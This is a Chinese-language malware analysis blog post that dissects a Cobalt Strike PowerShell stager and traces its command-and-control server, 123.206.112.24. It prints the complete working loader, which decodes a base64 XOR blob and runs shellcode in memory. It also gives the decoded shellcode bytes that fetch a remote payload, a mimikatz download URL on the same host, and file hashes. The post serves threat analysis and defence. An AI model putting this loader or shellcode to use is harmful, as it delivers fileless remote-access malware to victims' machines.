追踪活动中相遇CobaltStrike的故事
前言
近期笔者在追踪相关组织的过程中,自然需要浏览一些公开的样本,又无意发现了如下样本,从检出率的结果觉得可以深入分析看看。
样本分析
下载后拿到完整内容,如下。
Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckt7JyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMF0tRbSMvDxgt+3Uc5je6j4pFeeU5IHAKT/ZKnhKW473uv4BBr+c4uUeb5yYuvZ0Yhl7ha4qT7yPMlCsXVqYN2i7FAusBdHgu4oNkTACXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikjn1YtMP15O1/EN9s5TPHm+gWtpeJFZa3tucTb0Lwsk1r40iuY4U2+lg9boO90/jEFmrYQZOIi6WQMh2qHxORCxH6820xh11fE6qOMc9i6tx8c1FJ7qqJobQaoLaLF1R4FBpQJVVggzNRCVAv5V4Ho6EfJ0yTnuxYP0r0kq28STj4stFm6plMnV7cpA2Msa4URB5vjd5NgtE4C1Irs2kn4NAxds94pGXakLSGRWdIPGVeShiOZCyoXVQYx4MSgL0cpV1mrmToN4Cs7XmrjICNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhEQDRETFQ0SEhENERcjTIly4A==') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }
脚本文件名命名很直接,大致看了下,可以确定是一个恶意文件了,不过没有混淆。这里提一下C#中如何判断系统的架构(32位或64位),一种很简单的方法就是根据IntPtr类型的Size属性来判断,如下示例代码。
//IntPtr.Size在64位为8,在32位为4 2 public static Boolean Is64Bit() { if (IntPtr.Size == 4) return false; else return true; }
所以该处主要是判断当前系统的架构,当是64位的时候利用start-job开启一个后台任务,如下。
如果非64位环境,则直接执行$DoIt。现在分析一下$DoIt的代码内容,如下。
上述的代码因为涉及到异或解码过程,所以需要调试PowerShell,可通过微软自带的ISE进行调试, 然后将解密后的变量值通过管道输出至文本文件中,然后后续进行处理。步骤简要记录如下,从base64编码过的数据进行解码然后分配内存执行(属于无文件攻击活动)。
38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckt7JyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMF0tRbSMvDxgt+3Uc5je6j4pFeeU5IHAKT/ZKnhKW473uv4BBr+c4uUeb5yYuvZ0Yhl7ha4qT7yPMlCsXVqYN2i7FAusBdHgu4oNkTACXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikjn1YtMP15O1/EN9s5TPHm+gWtpeJFZa3tucTb0Lwsk1r40iuY4U2+lg9boO90/jEFmrYQZOIi6WQMh2qHxORCxH6820xh11fE6qOMc9i6tx8c1FJ7qqJobQaoLaLF1R4FBpQJVVggzNRCVAv5V4Ho6EfJ0yTnuxYP0r0kq28STj4stFm6plMnV7cpA2Msa4URB5vjd5NgtE4C1Irs2kn4NAxds94pGXakLSGRWdIPGVeShiOZCyoXVQYx4MSgL0cpV1mrmToN4Cs7XmrjICNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhEQDRETFQ0SEhENERcjTIly4A== |
异或解密之后,如下。
252 232 137 0 0 0 96 137 229 49 210 100 139 82 48 139 82 12 139 82 20 139 114 40 15 183 74 38 49 255 49 192 172 60 97 124 2 44 32 193 207 13 1 199 226 240 82 87 139 82 16 139 66 60 1 208 139 64 120 133 192 116 74 1 208 80 139 72 24 139 88 32 1 211 227 60 73 139 52 139 1 214 49 255 49 192 172 193 207 13 1 199 56 224 117 244 3 125 248 59 125 36 117 226 88 139 88 36 1 211 102 139 12 75 139 88 28 1 211 139 4 139 1 208 137 68 36 36 91 91 97 89 90 81 255 224 88 95 90 139 18 235 134 93 104 110 101 116 0 104 119 105 110 105 84 104 76 119 38 7 255 213 49 255 87 87 87 87 87 104 58 86 121 167 255 213 233 132 0 0 0 91 49 201 81 81 106 3 81 81 104 88 4 0 0 83 80 104 87 137 159 198 255 213 235 112 91 49 210 82 104 0 2 64 132 82 82 82 83 82 80 104 235 85 46 59 255 213 137 198 131 195 80 49 255 87 87 106 255 83 86 104 45 6 24 123 255 213 133 192 15 132 195 1 0 0 49 255 133 246 116 4 137 249 235 9 104 170 197 226 93 255 213 137 193 104 69 33 94 49 255 213 49 255 87 106 7 81 86 80 104 183 87 224 11 255 213 191 0 47 0 0 57 199 116 183 49 255 233 145 1 0 0 233 201 1 0 0 232 139 255 255 255 47 52 104 114 78 0 12 44 59 14 216 86 63 197 20 153 172 169 102 90 198 26 3 83 41 108 213 105 189 49 181 192 158 205 156 163 98 140 196 27 154 100 184 196 5 13 158 190 59 165 125 194 72 169 176 204 0 239 183 8 52 117 133 46 249 13 230 33 200 34 87 91 13 193 160 71 111 35 180 0 85 115 101 114 45 65 103 101 110 116 58 32 77 111 122 105 108 108 97 47 52 46 48 32 40 99 111 109 112 97 116 105 98 108 101 59 32 77 83 73 69 32 56 46 48 59 32 87 105 110 100 111 119 115 32 78 84 32 53 46 49 59 32 84 114 105 100 101 110 116 47 52 46 48 59 32 46 78 69 84 32 67 76 82 32 50 46 48 46 53 48 55 50 55 41 13 10 0 188 117 14 19 222 90 24 124 231 20 248 26 111 210 197 217 38 142 134 193 102 70 142 206 154 231 248 243 159 15 176 121 219 241 8 187 194 110 157 181 44 120 131 204 87 221 18 38 185 149 51 71 193 1 202 71 47 164 73 164 231 199 97 231 93 159 248 111 66 244 116 231 201 128 175 80 251 153 148 60 63 247 113 88 137 129 75 78 37 139 14 129 230 246 61 38 37 183 42 118 123 3 239 247 97 119 40 218 116 162 203 203 100 234 240 7 196 152 53 44 241 158 7 136 76 49 109 29 15 151 122 153 133 112 4 116 148 10 32 64 15 72 166 50 36 184 192 84 176 67 151 109 33 247 169 207 249 106 219 23 47 126 144 253 10 58 85 135 14 2 178 122 241 44 58 116 177 165 0 186 40 9 52 118 37 18 195 231 131 12 100 10 116 122 136 186 25 46 195 8 24 125 73 192 3 0 104 240 181 162 86 255 213 106 64 104 0 16 0 0 104 0 0 64 0 87 104 88 164 83 229 255 213 147 185 0 0 0 0 1 217 81 83 137 231 87 104 0 32 0 0 83 86 104 18 150 137 226 255 213 133 192 116 198 139 7 1 195 133 192 117 229 88 195 232 169 253 255 255 49 50 51 46 50 48 54 46 49 49 50 46 50 52 0 111 170 81 195 |
将上述内容进行十六进制转换,invoke执行的内容转换为十六进制后,如下。
对其进行格式化脚本(十进制数转十六进制序列),如下。
import binascii content = "252 232 137 0 0 0 96 137 229 49 210 100 139 82 48 139 82 12 139 82 20 139 114 40 15 183 74 38 49 255 49 192 172 60 97 124 2 44 32 193 207 13 1 199 226 240 82 87 139 82 16 139 66 60 1 208 139 64 120 133 192 116 74 1 208 80 139 72 24 139 88 32 1 211 227 60 73 139 52 139 1 214 49 255 49 192 172 193 207 13 1 199 56 224 117 244 3 125 248 59 125 36 117 226 88 139 88 36 1 211 102 139 12 75 139 88 28 1 211 139 4 139 1 208 137 68 36 36 91 91 97 89 90 81 255 224 88 95 90 139 18 235 134 93 104 110 101 116 0 104 119 105 110 105 84 104 76 119 38 7 255 213 49 255 87 87 87 87 87 104 58 86 121 167 255 213 233 132 0 0 0 91 49 201 81 81 106 3 81 81 104 88 4 0 0 83 80 104 87 137 159 198 255 213 235 112 91 49 210 82 104 0 2 64 132 82 82 82 83 82 80 104 235 85 46 59 255 213 137 198 131 195 80 49 255 87 87 106 255 83 86 104 45 6 24 123 255 213 133 192 15 132 195 1 0 0 49 255 133 246 116 4 137 249 235 9 104 170 197 226 93 255 213 137 193 104 69 33 94 49 255 213 49 255 87 106 7 81 86 80 104 183 87 224 11 255 213 191 0 47 0 0 57 199 116 183 49 255 233 145 1 0 0 233 201 1 0 0 232 139 255 255 255 47 52 104 114 78 0 12 44 59 14 216 86 63 197 20 153 172 169 102 90 198 26 3 83 41 108 213 105 189 49 181 192 158 205 156 163 98 140 196 27 154 100 184 196 5 13 158 190 59 165 125 194 72 169 176 204 0 239 183 8 52 117 133 46 249 13 230 33 200 34 87 91 13 193 160 71 111 35 180 0 85 115 101 114 45 65 103 101 110 116 58 32 77 111 122 105 108 108 97 47 52 46 48 32 40 99 111 109 112 97 116 105 98 108 101 59 32 77 83 73 69 32 56 46 48 59 32 87 105 110 100 111 119 115 32 78 84 32 53 46 49 59 32 84 114 105 100 101 110 116 47 52 46 48 59 32 46 78 69 84 32 67 76 82 32 50 46 48 46 53 48 55 50 55 41 13 10 0 188 117 14 19 222 90 24 124 231 20 248 26 111 210 197 217 38 142 134 193 102 70 142 206 154 231 248 243 159 15 176 121 219 241 8 187 194 110 157 181 44 120 131 204 87 221 18 38 185 149 51 71 193 1 202 71 47 164 73 164 231 199 97 231 93 159 248 111 66 244 116 231 201 128 175 80 251 153 148 60 63 247 113 88 137 129 75 78 37 139 14 129 230 246 61 38 37 183 42 118 123 3 239 247 97 119 40 218 116 162 203 203 100 234 240 7 196 152 53 44 241 158 7 136 76 49 109 29 15 151 122 153 133 112 4 116 148 10 32 64 15 72 166 50 36 184 192 84 176 67 151 109 33 247 169 207 249 106 219 23 47 126 144 253 10 58 85 135 14 2 178 122 241 44 58 116 177 165 0 186 40 9 52 118 37 18 195 231 131 12 100 10 116 122 136 186 25 46 195 8 24 125 73 192 3 0 104 240 181 162 86 255 213 106 64 104 0 16 0 0 104 0 0 64 0 87 104 88 164 83 229 255 213 147 185 0 0 0 0 1 217 81 83 137 231 87 104 0 32 0 0 83 86 104 18 150 137 226 255 213 133 192 116 198 139 7 1 195 133 192 117 229 88 195 232 169 253 255 255 49 50 51 46 50 48 54 46 49 49 50 46 50 52 0 111 170 81 195" hex_arrays = content.split(' ') # hex_bytes = bytes.fromhex(content) print(hex_arrays) pe_list = [] # int_arrs = list(map(int, hex_arrays)) for hex_array in range(len(hex_arrays)): int_array = '0x%02x' % (int(hex_arrays[hex_array], 10)) pe_list.append(int_array) pe_str = "".join(pe_list).replace("0x", "") content = binascii.a2b_hex(pe_str) with open("ps_shellcode", 'wb') as pe_file: pe_file.write(content)
最终获取的十六进制序列shellcode,如下。
fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 84 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 58 04 00 00 53 50 68 57 89 9f c6 ff d5 eb 70 5b 31 d2 52 68 00 02 40 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 c3 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 74 b7 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 8b ff ff ff 2f 34 68 72 4e 00 0c 2c 3b 0e d8 56 3f c5 14 99 ac a9 66 5a c6 1a 03 53 29 6c d5 69 bd 31 b5 c0 9e cd 9c a3 62 8c c4 1b 9a 64 b8 c4 05 0d 9e be 3b a5 7d c2 48 a9 b0 cc 00 ef b7 08 34 75 85 2e f9 0d e6 21 c8 22 57 5b 0d c1 a0 47 6f 23 b4 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 38 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 54 72 69 64 65 6e 74 2f 34 2e 30 3b 20 2e 4e 45 54 20 43 4c 52 20 32 2e 30 2e 35 30 37 32 37 29 0d 0a 00 bc 75 0e 13 de 5a 18 7c e7 14 f8 1a 6f d2 c5 d9 26 8e 86 c1 66 46 8e ce 9a e7 f8 f3 9f 0f b0 79 db f1 08 bb c2 6e 9d b5 2c 78 83 cc 57 dd 12 26 b9 95 33 47 c1 01 ca 47 2f a4 49 a4 e7 c7 61 e7 5d 9f f8 6f 42 f4 74 e7 c9 80 af 50 fb 99 94 3c 3f f7 71 58 89 81 4b 4e 25 8b 0e 81 e6 f6 3d 26 25 b7 2a 76 7b 03 ef f7 61 77 28 da 74 a2 cb cb 64 ea f0 07 c4 98 35 2c f1 9e 07 88 4c 31 6d 1d 0f 97 7a 99 85 70 04 74 94 0a 20 40 0f 48 a6 32 24 b8 c0 54 b0 43 97 6d 21 f7 a9 cf f9 6a db 17 2f 7e 90 fd 0a 3a 55 87 0e 02 b2 7a f1 2c 3a 74 b1 a5 00 ba 28 09 34 76 25 12 c3 e7 83 0c 64 0a 74 7a 88 ba 19 2e c3 08 18 7d 49 c0 03 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 a9 fd ff ff 31 32 33 2e 32 30 36 2e 31 31 32 2e 32 34 00 6f aa 51 c3 |
通过静态分析,可以发现存在UA头与疑似请求的内容,不过没有IP地址。
经过代码相似度搜索,发现此payload为5个月前国外安全人员分析过的相似样本,很大概率是CobaltStrike模板产生的恶意文件,通过阅读相关内容发现相似恶意脚本曾用于攻击活动。
一般来说,上述的样本是属于最后执行的阶段,前期会通过多种混淆包装来进行安全防护软件规避。不过既然已经有解码后的样本,接下来对其进行调试。通过提取shellcode复制进ollydbg进行调试,如下。
加载wininet.dll,如下。
获取到API函数地址并调用,如下。
请求的IP地址为"123.206.112.24",如下。
发送HTTP请求,如下。
由于是采用CobaltStrike框架产生的payload,所以下载的内容一定会在内存中执行,但是目前C&C已经失效,获取不到后续内容,于是分析结束。
溯源追踪
通过上面对恶意样本进行分析,我们拿到了C&C地址为123.206.112.24,对该地址进行溯源关联分析,发现自从2019年7月就已有相关攻击活动。该地址被用于下载凭证窃取工具mimikatz,编译时间为2019-07-21 04:57:54,利用的是官方编译的工具,地址为http://123.206.112.24/readepasswd/mimikatz_trunk/x64/mimikatz.exe。采用mimikatz的情况下,可以判定攻击者准备或者已经在对主机层面进行攻击。
2019年11月编译的样本文件名为ByPass3602.exe,从文件名可以看出这是第二次进行尝试,同时存在pdb路径为E:\VS\pass360\Debug\pass360.pdb。
接着又发现了相关联的样本会伪装成Apache组件,编译时间为2009-06-28 12:19:24,不具备参考性,不过从提交时间看最近也被人发现了。
2020年1月出现了新的样本,通信地址为123.206.112.24:6688,是个自解压格式文件,如下。
在2020年4月存在的相关联样本,名称已经变成了pass360.4.exe,说明更新到第四次了。
从上述关联到的样本整体来看,活跃时间从2019年7月至今,依然是作为下发远控隐蔽执行的方式。
威胁情报
HASH
07ac7c98e6b3286b5ef4a627663f623a
72d5f083f5b844fa2f99c44a873e251f
f01de206d9a362d0714c547930ac4916
0b84f490bc9aef2c515789cb4aef2408
afa4101c9927095083280a8ea0da23a4
9096bf03276a3afdec447b1ba475998c
85a1fecd56d6f8ef6cacac1f793f8663
URL
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐